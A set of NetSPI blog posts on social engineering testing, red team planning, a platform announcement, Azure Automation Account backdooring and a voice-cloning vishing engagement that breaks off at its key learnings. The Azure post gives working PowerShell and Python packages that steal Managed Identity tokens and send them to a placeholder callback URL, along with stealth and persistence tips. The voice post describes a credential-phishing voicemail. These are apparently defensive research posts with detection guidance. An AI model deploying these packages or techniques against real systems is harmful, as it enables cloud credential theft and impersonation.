Don’t wait for a breach to happen before you pursue social engineering testing. Be proactive and enhance your internal processes to increase your defenses against an attack. Get the most value out of your social engineering testing by asking the questions below to maximize results.

Get the full list of questions below. 

Introduction 

Your multifactor authentication (MFA) is tailored to your environment; you’ve got regular software updates down to a science; and your company’s social engineering training has boosted your team’s recognition of phishing attempts.

These efforts build up to a proactive security strategy that’s needed to combat today’s persistent social engineering attacks. But all this aside, one fact remains — social engineering is still the top method threat actors use to gain entry to a company’s IT environment and sensitive data. 

Social engineering is still the top method threat actors use to gain entry to a company’s IT environment and sensitive data.

For security teams and their leaders, understanding how to effectively conduct social engineering penetration testing can be a game-changer. Not only does it help identify focus areas to enhance security, but it also builds a robust defense mechanism against the real threats that exist today. 

Learn why social engineering remains a prevalent threat, the difference between phishing/vishing and physical/on-site penetration testing, and how you can maximize the outcomes of your social engineering testing by asking specific questions. 

Whether you’re just learning more about social engineering testing, or you’re ready to start your next engagement, NetSPI is here to help. Let’s talk.

Social Engineering Attacks Are All Too Common

Social engineering leverages human psychology to exploit individuals to share sensitive information or perform actions that compromise security. Unlike traditional techniques threat actors use that target systems and networks, social engineering attacks target the weakest link in the security chain — people.  

By prioritizing social engineering penetration testing, organizations can build a human firewall that is just as strong as their technical defenses.

This focus not only protects against breaches, but it also fosters a culture of security awareness among employees. 

73% of Breaches Are Due to Phishing and Pretexting

Social engineering remains a prevalent threat. Pick up any cybersecurity report or peruse data breach headlines, and you’ll quickly get a sense of the threat landscape.  

The Verizon Data Breach Investigations Report highlights that phishing remains the leading cause of incidents, accounting for 73% of breaches. This statistic has remained steady year over year, underscoring the persistent nature of social engineering threats. 

Another telling insight from the report is that “the median time for users to fall for phishing emails is less than 60 seconds.” This rapid response time emphasizes the importance of real-time awareness and training to recognize, report, and ultimately prevent social engineering attacks. 

Prioritize Social Engineering Defense 

Several indicators can signal the need to prioritize social engineering prevention within an organization.  

Phishing and Vishing 

On the phishing and vishing side, headlines like the high-profile MGM data breach spike interest in social engineering prevention. When a competitor or someone in your industry falls victim to a social engineering breach, it serves as a compelling signal to initiate social engineering testing. 

As technical controls grow stronger and the industry expands, it’s challenging to prevent social engineering tactics like phone calls. For example, while web application firewalls and network controls can block foreign threat actors, even a teenager in Florida can try to infiltrate through simple phone calls. 

Physical Pentesting 

On the physical security side, the COVID-19 pandemic significantly altered on-site security. With more people working from home, buildings are less populated, making it easier for unauthorized individuals to gain access because of outdated assumptions about physical security based on pre-pandemic conditions. 

If you’re considering whether you should put more weight into social engineering prevention, the answer is probably yes.

The best advice we can give to avoid a data breach is to be proactive and prepare ahead of time. 

Social Engineering Penetration Testing versus Social Engineering Prevention Training 

Training and testing serve different purposes, but are both essential for a comprehensive security strategy. 

Social Engineering Prevention Training 

Popular subscription-based social engineering training services focus on educating employees to recognize and report phishing attempts. These sessions are broad in nature, accessible to all employees, and can be mandated organization-wide. 

Social Engineering Penetration Testing 

With social engineering penetration testing, security teams take a more sophisticated approach, resulting in deeper insights by seeing what could happen after phishing occurs. This type of testing evaluates how employees respond, identifies potential escalation points, and provides helpful context into the organization’s resilience against social engineering attacks. 

While training casts a wide net for general recognition and reporting, penetration testing evaluates specific attack paths for precise security enhancements.  

Questions to Ask to Enhance Social Engineering Testing 

Before conducting social engineering penetration testing, it’s crucial to define objectives clearly so you can maximize the value of your test. Here are some questions to consider for successful social engineering testing:  

Phishing and Vishing Penetration Testing 

1. What is the biggest concern you are trying to protect against? 
2. Are you already conducting phishing or vishing campaigns in-house or through a third-party service?  
   • If so, how often? 
   • Have you noticed any trends in failure rates, either higher or lower?  
3. If so, how do these trends inform your readiness for more advanced testing? Are there existing policies or processes in place for users to report suspicious calls, emails, or texts? 
4. Which team or department within your organization is most vulnerable to social engineering threats?  
   • Are these teams public-facing or internal only? 
5. How do these teams most often communicate?  
   • Email, phone call, chat message? 

Physical Pentesting 

1. What is the most likely adversary you are trying to protect against? Being specific about this helps tailor decisions around controls. 
2. How would you describe your company culture regarding physical security?  
   • Is tailgating a standard practice? Do employees feel comfortable challenging unknown visitors? Do people lock their workstations before leaving their desks? 
   • What policies and processes do you have in place to enforce these actions?  
   • What kinds of training have your employees received? 
3. How have your assumptions about physical security changed since the pandemic? 
4. What are the most sensitive areas of your building, where security should be the strongest? 
5. What physical security controls do you have in place already?  
   • How much ability do you have to add new controls, or upgrade existing ones? 

Use these questions as a starting point to guide your social engineering testing. Contact The NetSPI Agents for a conversation at any time.  

3 Types of Social Engineering: Phishing, Vishing, Physical/Onsite 

Social engineering testing encompasses a wide range of techniques designed to evaluate an organization’s vulnerabilities to human-centric attacks. From pretexting and baiting to tailgating and spear-phishing, the variety of attack methods is extensive. For a comprehensive overview, read Tech Target for the different types of social engineering attacks.  

Here, we’ll focus on three specific types of social engineering testing that NetSPI offers:  

• Phishing 
• Vishing 
• Physical pentesting 

Phishing 

Phishing tests involve email and text-based attacks to gauge employee awareness and identify procedural gaps. Campaigns can range from general security awareness to targeted spearphishing attacks aimed at compromising specific accounts. 

Vishing 

Vishing involves phone-based attacks designed to extract sensitive information. During these engagements, the tester may pose as a help desk employee or vendor to gather user credentials, internal data, or customer information. 

Social Engineering Best Practices: Phishing and Vishing Prevention 

• Assume Phishing Will Happen: Acknowledge the inevitability of phishing incidents, especially in large organizations; with thousands of employees, it’s statistically likely someone will click a malicious link. 
• Implement Strong Technical Controls: Establish robust security measures to mitigate the impact of successful phishing attacks, including multi-factor authentication (MFA) to add an extra layer of security. 
• Limit User Access: Enforce strict access policies to control entry points, preventing unauthorized access from non-corporate devices or unfamiliar locations. 
• Streamline Reporting Processes: Create an easy, user-friendly system for employees to report suspicious activity and phishing attempts, minimizing reliance on traditional help desk procedures. 
• Verify Identities: Encourage staff to confirm unexpected communications via secondary methods, such as sending a quick message through internal communication platforms to verify authenticity. 
• Conduct Regular Training: Regularly remind employees of the importance of identity verification and protocols for handling suspicious messages, fostering a culture of vigilance without fostering a climate of fear. 

Physical Pentesting 

Physical tests assess the effectiveness of on-site security measures. This includes evaluating physical access controls, employee awareness, and compliance with security policies. The goal is to minimize the risk of unauthorized access to sensitive areas. 

On-Site and Physical Security Best Practices 

• Focus on Physical Security First: Social engineering is a highly effective way to gain unauthorized access to physical locations. However, if an attacker can simply slip through an unlocked side door without having to talk to anyone, they will likely do that first. 
• Establish Verification Processes: Implement a defined process for employees to verify each other’s identities, especially for new or unknown employees requesting assistance. This can include additional verification methods beyond just badges. 
• Awareness of Tailgating Risks: Acknowledge that tailgating is an effective method for unauthorized entry into facilities. Create awareness among employees about this tactic and encourage vigilance. 
• Encourage Communication: Promote communication among employees for confirming requests made by unfamiliar individuals, enhancing the overall security of the workplace. 
• Provide Regular Training: Regularly train staff on security protocols and situational awareness to empower them to take initiative in verifying identities and reporting suspicious behavior. 

Enhance Your Social Engineering Testing with NetSPI 

Social engineering remains the top method for breaches, because humans are the unknown variable in what’s theoretically a secure system. Prioritizing social engineering penetration testing and prevention is essential to enhance your company’s security posture.  

By implementing strategies focused on equipping internal teams with the knowledge and processes to combat social engineering threats, you can build a resilient defense strategy against these persistent attacks. 

If we can leave you with one key takeaway, it’s this: don’t wait for a breach to happen before you realize the importance of social engineering prevention.  

We’re here to help you take proactive steps today to secure your organization. Explore NetSPI’s social engineering services and contact us to strategically advance your approach. 

The post Ask These 10 Questions to Enhance Your Social Engineering Testing appeared first on NetSPI.

Meticulous, intelligence-driven planning rooted in organisational context is crucial for impactful red team testing. Taking the time for dedicated planning and evaluation ahead of red team exercises will result in more valuable results and a better testing experience for both customers and vendors.

What to do: 

• Do utilise multiple sources to inform scenario design, including:  
  • Realistic threat and open-source intelligence from multiple sources 
  • Business needs, strengths, weaknesses, challenges, and organizational structure 
  • Input from key stakeholders, users, owners, and consumers of the services and businesses you will test 
• Do engage CISOs, and system and process owners well before testing starts to ensure operational integrity 
• Do allow at least three months for thorough planning and stakeholder alignment 
• Do make sure your business security capability meets the maturity level where red teaming is beneficial 
• Do tailor scenarios to specific regulatory frameworks and legal requirements for data security (e.g., CBEST for finance) 
• Do document clear objectives and success criteria before execution; make sure they are grounded in reality  

What not to do: 

• Don’t rely solely on generic, off-the-shelf scenarios that are not mapped to your business 
• Don’t ignore industry-specific threats, compliance requirements, and intelligence data 
• Don’t rush the planning phases, leading to poorly defined scope and outcomes 
• Don’t red team before you are ready; have a detection alerting and response capability that requires evaluation 
• Don’t skip securing executive buy-in and necessary resources and staff cooperation 
• Don’t overlook the need for well-defined rules of engagement, communications, and escalation processes 

Introduction

Conducting a red team exercise has significant benefits to enhance your organisation’s security resilience, if planned and executed well. However, given its advanced nature, it isn’t always the most valuable type of test to enhance resilience, and getting to the point of being able to get the most value from one, is a challenge.

Without the right elements in place, nothing is learned, and you end up with the best parts whizzing above the proverbial head of the organisation.

This analogy works almost all the time, except when you are legally required to red team, and scaling up quickly becomes a big undertaking. In this case, consider an intermediary service, like scenario-based testing, that tests against specific NIST pillars, and provides insights that go beyond normal pentesting.

Many of you are considering whether now is the right time for a red team exercise, or you’re seeking a red team experience as part of a larger move toward compliance, such as the Digital Operational Resilience Act (DORA). This article will help you get the right processes and capabilities in place so you can prove and validate any assumptions around your security capability through real-world testing – that’s what a red team should help you do.

The planning and evaluation that goes into red teaming can make or break the quality of test outcomes, which is why we’re exploring foundational planning and radical realism so you can gain the most value from any red team exercise.

Is Red Teaming Right for My Business?

Ask yourself: Is red teaming the most valuable type of security test for your business right now? Red teaming is an incredibly impactful way to enhance your security against real-world risks, but it can also be too advanced for some organisations, especially if they have novice asset visibility, managed security, or detective controls.

If your IT and security fundamentals are in flux, and you don’t yet have a capability to respond to a real-world event (managed or in-house), then a red team test may not provide the most value.

Consider this analogy: You’re a new boxer, about to start sparring and practicing ‘the real fight,’ but it turns out your opponent is a class or two above, and has a large, shiny, golden belt. This is clearly an unmatched fight that will result in injury, and not a great deal of practical lessons. You’ll walk away having tried your best, but ultimately not learning how to progressively build your skills.

This is why we aim to calibrate red teaming to your organisation, its strengths and weaknesses, because without the right level of challenge, nobody learns or grows.

Bringing it back to red teaming, getting the level of challenge right takes planning, so it can prepare your team for the scenarios that are most likely to face your business, and validate the threats you may face. To get the most value and education from red teaming, you need to have security protocols in place, tailored to your system, and functioning correctly.

Consider Scenario-Based Testing as an Alternative to Red Teaming

A different type of test that provides significant insights with more control than red teaming is scenario-based testing, which is more focused on a specific set of circumstances. Scenario-based testing allows you to explore ‘what if’ scenarios much like a red team, but it doesn’t have to be the full organisational scope.

At NetSPI, we perform scenario-based testing aligned to concepts around NIST: identify, detect, protect, respond and recover. Think of it as a practical test to answer ‘can my business detect an active threat in ‘x’ set of systems,’ or ‘if we have an active breach what can we see? Are our thresholds for response where they need to be?’.

With scenario-based testing, we help you turn these conceptual tests into specific test cases and scenarios. This blends the focus of a pentest with the business impact of a red team in a more cost-effective and manageable way. Depending on your current security stance, a focused test such as this can produce more helpful results and be a better use of resources, time, and money.  

Starting with basics like pentesting, and then working your way up to scenario-based testing, and eventually red teaming will help your team systematically grow their skill sets.

Embrace Realism When Planning for Red Teaming

Being realistic about your organisation’s security maturity and your team’s mindset of continuous improvement through blue and red team testing will bring the most beneficial enhancements to your security.

On the practitioner side at NetSPI, we engage in extensive preliminary planning to ensure the success of our red team engagements. These tests are highly involved, and we always want to be realistic about the level of effort that goes into a red team versus a quarterly or annual pentest for example.

Red teaming has a greater level of tactical and cultural components, such as ensuring you’re landing in environments that reflect the organization as realistically as possible, and working internally to get the right executive buy-in both from a timing and funding standpoint.

For instance, if someone delivers a red team from a fresh user account, without all of the long-standing hygiene issues your organisation may face, have you really validated something that reflects reality?

Now is the time to critically think about whether your company is ready for red teaming. You don’t need to face this decision alone. Contact NetSPI’s security experts for guidance on the most valuable security test for where you stand today.

Defining Clear Rules and Objectives of Red Team Exercises

Red team testing is quite involved and requires clear, comprehensive, and proactive communication well before the test starts to avoid common blockers. 

A few discussion points to align with your vendor include: 

1. Engagment Basis: Give ample room for planning because a rushed test is a poor test. Make sure you fully know why you are doing it. Pro tip: Yearly compliance isn’t the answer to this question, and neither is running the test at the same time each year. 
2. Objectives: Don’t just default to ‘highest privilege possible.’ Think about what matters to your business and how you want to assess it. 
3. Isolation: Make sure those who know about the test can protect its integrity. If the security team knows a red team is coming, it will always alter their behaviour. How do you know if you face a real risk if red teams cannot expose this safely? 
4. Data Security: Make sure your provider complies with the laws and regulations you do, such as the General Data Protection Regulation (GDPR), or DORA guidelines on supply chain. Remember, your pentest and red team providers hold your most precious data, and they’re a supplier as much as your SaaS, SIEM, SOAR, or managed service providers. 

Why Data Security?

Data security is a growing concern because of the increased attention on supply chain risk. Any red team vendor should be able to speak clearly to their data processing protocols and whether they follow standard compliance policies.

At NetSPI, we’ve seen an increase in customer requests regarding vendor due diligence for secure data management. We’re ahead of the trend in this regard, because we’ve taken steps to address the real risk of the supply chain today. Ultimately, a red team is also a supplier, and our security is a key consideration for companies seeking quality red team services.

Plan for Appropriate Red Team Testing Lead Times

Bringing more transparency into adequate lead times benefits both red team testers like NetSPI and our customers.

The assumption tends to be that red teams are ready to go at a moment’s notice and require little setup. But the reality is that the logistics and organization on both sides of an engagement typically require at least a month to plan correctly.  

The level of care and attention that goes into creating a realistic attack scenario is far greater than red teams typically talk about. As a CISO, security manager, or blue team practitioner, clearly outlining the preparation required for red team testing will lead to a more efficient process and improved testing outcomes. 

Business Considerations before Red Team Testing 

Red teaming is a delicate balance of preparation and secrecy.

All too often, we encounter blue teams that know when a red team exercise is happening because their company’s budget renews annually, so they can anticipate which quarter of the year they need to be on guard.  

Timely involvement of the right people is key to protecting the operational integrity of red teaming. Executive buy-in and stakeholder awareness are essential to minimise the potential risk to a business during a red team test. Equipping your red team vendor with a thorough understanding of your market, organisation, how it operates, and what its security concerns might be, is critical to designing the right type of scenario. 

Today, we’re seeing red teaming expand into sectors such as energy, healthcare, and manufacturing. With more critical industries relying on red teaming, practicing safe and appropriate use of force from a red team perspective is essential. Having open, honest conversations early on about a company’s known weaknesses and scoping bounds is an important part of forward planning in this process. 

Ready for Red Teaming? Contact NetSPI

Red teaming is an involved testing type that brings highly beneficial insights into your company’s ability to detect and respond to the most realistic attack scenarios. Taking the time for proper planning and evaluation ahead of red team engagements will result in the most valuable outcomes and a strong working partnership between you and the red team testers. 

Whether you’re ready for the next challenge, or you’re working on compliance with industry regulations, NetSPI is ready to guide the most impactful next step for your security. Contact us for a consultation with our security experts. 

The post Part 1: Ready for Red Teaming? Intelligence-Driven Planning for Effective Scenarios  appeared first on NetSPI.

A 2022 Gartner survey showed that 75% of organizations are pursuing consolidation of their security vendors. The top benefit is reducing the complexity of their security stack and improving their risk posture. 

Unlocking NetSPI’s Platform Milestone 

To meet the industry’s growing need for simplicity and effectiveness of security strategies, NetSPI consolidated the following key proactive security solutions on The NetSPI Platform: 

• Attack surface management (ASM)  
• Breach and attack simulation (BAS)  
• Penetration testing as a service (PTaaS)  

Our customers now have the option to access all these solutions from a single user interface, bringing a new level of enrichment, highly actionable results, and real-time collaboration with The NetSPI Agents as they work toward proactive security.

Benefits of Security Platform Consolidation  

The top benefits of security platformization are reducing complexity and improving risk posture. Our decision to consolidate ASM, BAS, and PTaaS on The NetSPI Platform brings a few key benefits to our customers:   

• Single Source of Truth: Since all modules on The NetSPI Platform work on a unified common asset model, customers can see all assets and vulnerabilities, or findings, in one place. 
• Enhanced Visibility and Intelligence: You can go beyond a pentest with BAS and ASM working in tandem.  
• Comprehensive Data: You’ll acquire deeper insights into vulnerabilities, risk prioritization, and impact of exploitation.  
• Cross Module Use Cases: You’ll have access to attack paths and narratives, robust asset inventory, expanded integrations, and workflow automation that span multiple modules.  

Our goal with this update is to provide a more holistic and unified view of an organization’s proactive security readiness.

Continuous Threat Exposure Management (CTEM) as the Framework for Proactive Security 

Another trend sparking conversations today is the increased attention on CTEM as an effective framework for continuous security testing. 

CTEM is a proactive security framework that focuses on identifying, assessing, and mitigating risks within an organization’s digital environment.

Gartner’s Top Strategic Technology Trends for 2024 says, “by 2026, organizations prioritizing their security investments, based on a CTEM program, will realize a two-third reduction in breaches.”  

The five phases of CTEM are: scoping, discovery, prioritization, validation, and mobilization. It’s gaining traction as a framework to help teams shift from a point-in-time, reactive approach to security to a continuous, preventative one.  

By combining proactive security solutions such as BAS, ASM and PTaaS, security teams can tailor their journey toward CTEM – all using The NetSPI Platform.

Looking to the Future: What’s Next for NetSPI’s Platform  

In the coming months, we’ll expand the the NetSPI Platform’s solutions and functionality to enhance its value in a proactive security journey.   

In the near term, customers will have access to cyber asset attack surface management (CAASM) on NetSPI’s Platform, offering a unified view of their assets – both internal- and external-facing, along with their vulnerabilities and security control coverage. With this expansion, we’ll offer an enhanced and comprehensive view of exposure, and associated risk. 

The NetSPI Platform is a monumental step forward in preparing the industry for effective CTEM programs. We can’t wait for you to see the expanded capabilities for yourself. Request a demo to consult with our team on your path forward. 

The post The Strategic Value of Platformization for Proactive Security appeared first on NetSPI.

Additional Resources: 

• Maintaining Azure Persistence via Automation Accounts 
• Using Azure Automation Account to Access Key Vaults
• Pivoting with Azure Automation Account Connections 

Prior to the introduction of Runtime Environments, all of the PowerShell modules and Python Packages have been managed in the Portal under the “Modules” and “Python packages” menus. At the time of writing, it is still the standard package management option, so you may not have the Runtime Environments preview enabled yet. These menus allow Automation Account admins to add additional functionality to their PowerShell and Python runbook environments. As a point of terminology, we will use the terms “packages” and “modules” interchangeably throughout the rest of the blog. 

TL;DR 

• Azure Automation Accounts allow custom PowerShell modules and Python packages 
  • PowerShell Gallery modules are also supported 
• Malicious packages can be uploaded to an Automation Account by attackers 
  • The packages can then be called in runbooks for persistence 
  • We’ve included steps below to replicate the process 
• We’ve created a tool (Get-AzAutomationCustomModules) to help list custom modules/packages that are used in a subscription

What are Runtime Environments? 

The Runtime Environments feature (currently in preview) allows users to set up custom execution environments for Automation Account Runbooks. This allows users to configure specific packages that can be used for an Automation Account container. This gives greater flexibility for an Automation Account, without creating package bloat on the base containers.

It should be noted that in the new Runtime Environments system, the base “System-generated Runtime environments” cannot be modified in the portal to include additional packages. However, if you switch back to the old experience, you can add packages that will then carry over to the new System-generated environments when you switch to the Runtime Environments feature.  

It’s an interesting quirk, but once the feature becomes standard, it’s unlikely that you will be able to change these base environments. If this does become the standard going forward, an attacker would need create a new runtime, inject a malicious package into it, and swap the environment over for the target runbook. Alternatively, they could just create a new runbook and assign a new Runtime Environment to it. 

Creating a Malicious Package – PowerShell 

In order to attack the Automation Account, we will need to create a malicious package. Keep in mind that the package name will be very visible in the Runtime Environment menu, so it may make sense to “borrow” a package name from a known package. You could just take an existing package file, modify it, and upload it, but for our proof of concept examples, we will show how to create your own custom packages.  

In both custom package examples, we will create functions that will generate a Managed Identity token for the Automation Account, and exfiltrate the token via HTTP to a callback URL (YOUR_URL_HERE). Overwrite the hardcoded URL in the example files to use this yourself. 

Note that all of the example files are available under the “Misc/Packages” folder in the MicroBurst repository. 

In this PowerShell proof of concept, we’ll borrow the PowerUpSQL name for our module. For starters, we will create a basic PowerShell package. The most basic PowerShell package consists of two files, a psd1 that outlines the module and a psm1 that contains the code.

PowerUpSQL.psd1

@{ 

# Script module or binary module file associated with this manifest. 
RootModule = 'PowerUpSQL.psm1' 

# Version number of this module. 
ModuleVersion = '1.105.0' 

# ID used to uniquely identify this module 
GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' 

# Author of this module 
Author = 'Scott Sutherland' 

# Company or vendor of this module 
CompanyName = 'NetSPI' 

# Copyright statement for this module 
Copyright = '(c) 2024 NetSPI. All rights reserved.' 

# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. 
FunctionsToExport = '*' 

# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. 
CmdletsToExport = '*' 

# Variables to export from this module 
VariablesToExport = '*' 

# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. 
AliasesToExport = '*' 

} 

PowerUpSQL.psm1 

function a { 
param( 
    [string] $callbackURL = "https://YOUR_URL_HERE/" 
    ) 

# Hide the warning output 
$SuppressAzurePowerShellBreakingChangeWarnings = $true 

# Connect as the System-Assigned Managed Identity 
Connect-AzAccount -Identity | Out-Null 

# Get a token 
$token = Get-AzAccessToken | ConvertTo-Json 

# Send the token to the callback URL 
Invoke-RestMethod -Uri $callbackURL -Method Post -Body $token | Out-Null 

} 

Export-ModuleMember -Function a 

In this example, we’ve just named our function “a”, but you can name it whatever you want. A single letter might get overlooked, but using something that looks legitimate (Example: Get-AzAutomationAccountUpdates) may also work better. 

The Automation Account will be looking for a zip file, so zip the two files together and name it after your module. Regardless of what is in the psd1 file, the portal will show the module name as whatever the zip file name was, so keep that in mind.

Creating a Malicious Package – Python 

For the Python package, we will need the following files in a directory: 

your_project/ 
├── your_module/ 
│   ├── __init__.py 
│   └── other_module_files.py 
├── README.md 
├── LICENSE 
├── setup.py 

For our Python proof of concept, we’ll use aws_consoler (another NetSPI tool) as the module target, so our folder will be aws_consoler and the module file will be aws_consoler.py. Please keep in mind that you may have to change specific fields (python_requires) below depending on your use case.

setup.py

import setuptools 

with open("README.md", "r") as fh: 
    long_description = fh.read() 

setuptools.setup( 
    name="aws_consoler", 
    version="1.1.0", 
    author="Ian Williams", 
    author_email="ian.williams@netspi.com", 
    description="A utility to convert your AWS CLI credentials into AWS " 
                "console access.", 
    long_description=long_description, 
    long_description_content_type="text/markdown", 
    packages=setuptools.find_packages(), 
    classifiers=[ 
        'Development Status :: 2 - Pre-Alpha', 
        'Intended Audience :: Developers', 
        'License :: OSI Approved :: BSD License', 
        'Natural Language :: English', 
        'Programming Language :: Python :: 3.8', 
    ], 
    python_requires='>=3.8', 
) 

__init__.py 

Although we’re not using a function for this example, this file needs to try to import any functions that it can from our malicious Python file: 

from .aws_consoler import * 

aws_consoler.py 

import os 
import requests 
import json 

endpoint_url = "https:// YOUR_URL_HERE" 
identity_endpoint = os.getenv('IDENTITY_ENDPOINT') 
if not identity_endpoint: 
    raise ValueError("IDENTITY_ENDPOINT environment variable not set.") 

# Fetch the token 
params = { 
    'api-version': '2018-02-01', 
    'resource': 'https://management.azure.com/' 
} 
headers = { 
    'Metadata': 'true' 
} 

try: 
    response = requests.get(identity_endpoint, params=params, headers=headers) 
    response.raise_for_status() 
    token = response.json() 

    # Send the token to the specified endpoint 
    post_headers = { 
        'Content-Type': 'application/json' 
    } 
    data = { 
        'token': token 
    } 

    post_response = requests.post(endpoint_url, headers=post_headers, data=json.dumps(data)) 
    post_response.raise_for_status() 

    #return post_response.json() 
except requests.exceptions.RequestException as e: 
    print("An exception occurred") 

In order to be uploaded to the Python Runtime Environment, we will need to compile these files into a WHL file. This can be done in python with the following command: 

python3 setup.py bdist_wheel 

Uploading a Malicious Package 

Now that we have our zipped/compiled packages, we will first show how the current (old) style of module/package upload works. There are two menus that cover this functionality – Modules and Python packages: 

The upload for both options is very simple. You can use the “Add a module” and “Add a Python Package” buttons in the appropriate menus to start the process. Select your file to upload, your Runtime version, name the package, and select import. Keep in mind, that any packages that you upload in the old system will carry over to the new System-generated environments in the Runtime Environments interface. 

If you are working with a Runtime Environment, the process is going to be very similar. At this point, we have two options – Modifying an existing Runtime Environment or creating a new one and assigning runbooks to it.

By modifying an existing Runtime Environment, you will have fewer indicators of your malicious package activities. However, this will not work in cases where the runbooks are using the system-generated environments. It’s not possible to add additional packages to those environments in the current interface, so you would have to create a new environment to move (Under the “Update Runtime Environment” menu) the runbook to. Alternatively, you can switch back to the old experience, add your packages to the environment, and switch back.

Using the Packages 

Once we have added our malicious packages to the Automation Account and/or Runtime Environment, we will need to call them in a runbook in order to use them. Since the sample code calls back to a URL with a Managed Identity token, make sure that you have your HTTP listener ready to go. 

For PowerShell runbooks, you can just add a line to call your new function. If you want to be extra sneaky about it, end an existing PowerShell line with a “;” and add your new function after that. If the line is particularly long, there’s a decent chance that it will get overlooked by being at the end of the line. Technically, you could also throw any other PowerShell obfuscation technique at the function name at this point as well. 

For the Python runbooks, you will need to import the package (aws_consoler): 

import aws_consoler

If you’ve modified an existing runbook, you can just wait for it to be run. If you created a new runbook, now would be a good time to schedule the runbook (once an hour?) to regularly check in with a token for you. 

As a final note for persistence, if you have the ability to write runbooks and packages, you probably have the ability to write webhooks for the runbooks. These are a bit out of scope for this blog, but they are a nice way to generate a persistence mechanism for calling an Automation Account runbook, if you get removed from an environment. 

Detection and Hunting Recommendations 

To help detect any existing malicious packages in your Automation Accounts, you can manually review your current modules and packages for any custom modules in the Azure portal. 

Alternatively, we have written a PowerShell script (Get-AzAutomationCustomModules) that will enumerate all of your Automation Accounts and will output a list of custom packages. This utilizes an authenticated Az PowerShell module connection to make the calls, so make sure to Connect-AzAccount before running the tool. 

The tool usage is pretty simple, just import the module (ipmo Get-AzAutomationCustomModules.ps1) and run the function “Get-AzAutomationCustomModules -verbose”. 

The output is pipeline friendly, so you can pipe it to Export-Csv for further review. Due to how the old package management system worked, you may also see some of the previously updated packages as custom packages. I have an older Automation Account that I was testing the script against and found that the AzureRM, Azure, and AzureAD modules were showing up as custom. I’m not 100% sure how they ended up that way, but I believe these are false positives that you may also run into.

Detection and Hunting Opportunities 

See below for additional detection and hunting opportunities: 

Detection Opportunity #1: Packages added to an Azure Automation Account 
Data Source: Cloud Service 
Detection Strategy: Behavior 
Detection Concept:  
Using Azure Activity Log, detect on when any of the following actions are taken against an Automation Account via Azure Credentials: 

• Microsoft.Automation/automationAccounts/runbooks/draft/write 
• Microsoft.Automation/automationAccounts/runbooks/publish/action 
• Microsoft.Automation/automationAccounts/jobs/write 
• Microsoft.Automation/automationAccounts/listbuiltinmodules/action 
• Microsoft.Automation/automationAccounts/powershell72Modules/write  
• Microsoft.Automation/automationAccounts/runtimeEnvironments/packages/delete 
• Microsoft.Automation/automationAccounts/runtimeEnvironments/write 

Detection Reasoning: A threat actor can use the package upload function to add packages to the Automation Account. Once added, the malicious packages can be used in a runbook. 
Known Detection Consideration: None 

Hunting Opportunity #1: Automation Account Package File Inspection 
Data Source: Cloud Service Metadata 
Detection Strategy: Signature 
Hunting Concept:  
Using the previously noted PowerShell function (Get-AzAutomationCustomModules), it is possible to review custom packages that have been added to an Automation Account. 
Detection Reasoning:  
Any malicious packages that are added to an Automation Account will show up as custom packages. This script collects all of the custom packages for an Automation Account. 
Known Detection Consideration: None 

Conclusions 

Given other recent supply chain attacks, I don’t think that it’s unreasonable to expect a threat actor to attempt poisoning packages that are used by Automation Accounts. That said, I have not seen this persistence technique being used in the wild, but we have been talking about this idea for a number of years. Now should be a good time to take a quick look at the packages that you have in your Automation Accounts to see if there’s anything unexpected lurking in the containers. 

The post Backdooring Azure Automation Account Packages and Runtime Environments  appeared first on NetSPI.

AI voice cloning technology has rapidly advanced, allowing realistic voice replicas to be created with minimal audio input. While initially used for benign purposes like content creation, the technology poses significant cybersecurity risks. Malicious actors can exploit voice cloning for real-time impersonation, potentially leading to security breaches by mimicking trusted voices.  

To better understand these new threats, NetSPI developed a voice cloner tool that allows us to demonstrate this risk to our customers by using cloned voices in social engineering tests. To meet the challenges voice cloners pose, organizations must implement robust verification processes and conduct employee training to better position their organization against modern threats.

Introduction 

The pace of AI development is accelerating – often moving faster than the implementation of necessary safety measures and regulations meant to harness it. This gap can create opportunities for malicious actors to exploit emerging technologies.  

A striking example is the progress in voice cloning. Not long ago, cloning a user’s voice required hours of pristine audio, and the results were often imperfect. Today, companies like ElevenLabs have transformed the landscape by enabling the cloning of any voice using just one or two minutes of audio. These advanced models introduce natural cadence to produce highly realistic voice replicas. 

Initially, the primary applications of this technology were benign. They mostly aimed at enhancing content creation and reducing the cost and time associated with voiceover production. However, the potential for malicious use is significant and growing. 

Threat Landscape of Real-Time Voice Cloning

Consider the implications of an attacker using this sophisticated voice cloning technology to create a tool for real-time audio impersonation. This goes beyond traditional text-to-speech (TTS) applications, enabling attackers to mimic any voice live during a conversation. 

 Imagine the potential consequences:  

• An attacker could impersonate a manager and instruct an employee to perform actions that compromise security.  
• More alarming is the potential to clone a CEO’s voice from public interviews to announce false information, such as company layoffs, causing internal chaos.  
• On a broader scale, the ability to impersonate high-profile figures like military officials or political leaders could lead to mass panic or unauthorized access to sensitive information, posing severe national security threats. 

Introducing NetSPI’s Advanced Voice Cloning Tool

To better learn what we’re up against, NetSPI developed a cutting-edge tool capable of generating cloned voices in real time. The tool uses short audio samples, which can be sourced publicly or through brief social engineering interactions, to accurately replicate any voice. The cloned voice can be deployed for TTS or real-time voice impersonation, equipping threat actors for a sophisticated vishing attack.

This development builds on NetSPI’s previous work in adversary simulation and deepfake technology, specifically research on using deepfakes to bypass voice biometrics. This earlier work demonstrated how deepfake technology could be leveraged to overcome voice authentication systems, highlighting the potential security risks posed by AI-driven voice manipulation.

How NetSPI Used AI Voice Cloning for Real-World Social Engineering Testing 

In a recent engagement, The NetSPI Agents proved the power and potential risks of voice cloning technology. The objective was to demonstrate how easily cybercriminals could exploit this technology to deceive employees and gain unauthorized access to a system. 

Setup 

For the purpose of the demonstration, a manager from the client’s help desk consented to participate. NetSPI recorded a short conversation with this manager to create a clone of his voice using advanced voice cloning software. The goal was to leverage the familiarity and trust associated with the manager’s voice to deceive other employees into divulging their login credentials. 

Execution 

Using the cloned voice, NetSPI crafted a voicemail message that sounded alarmingly authentic. The message went something like this: 

” This is [impersonated employee] with the help desk. Our security team received an alert for your workstation this morning. When you get a chance, please review the ticket by signing in at [example.com]. Thank you.” 

This message was then sent to several employees, who were likely to recognize the manager’s voice and trust the request. 

Outcome 

The operation was a success. One of the employees listened to the voicemail and followed the instructions, visiting the provided link and logging in with their credentials. Unbeknownst to them, the link directed them to a phishing site, allowing us to capture their login information. 

Key Learnings 

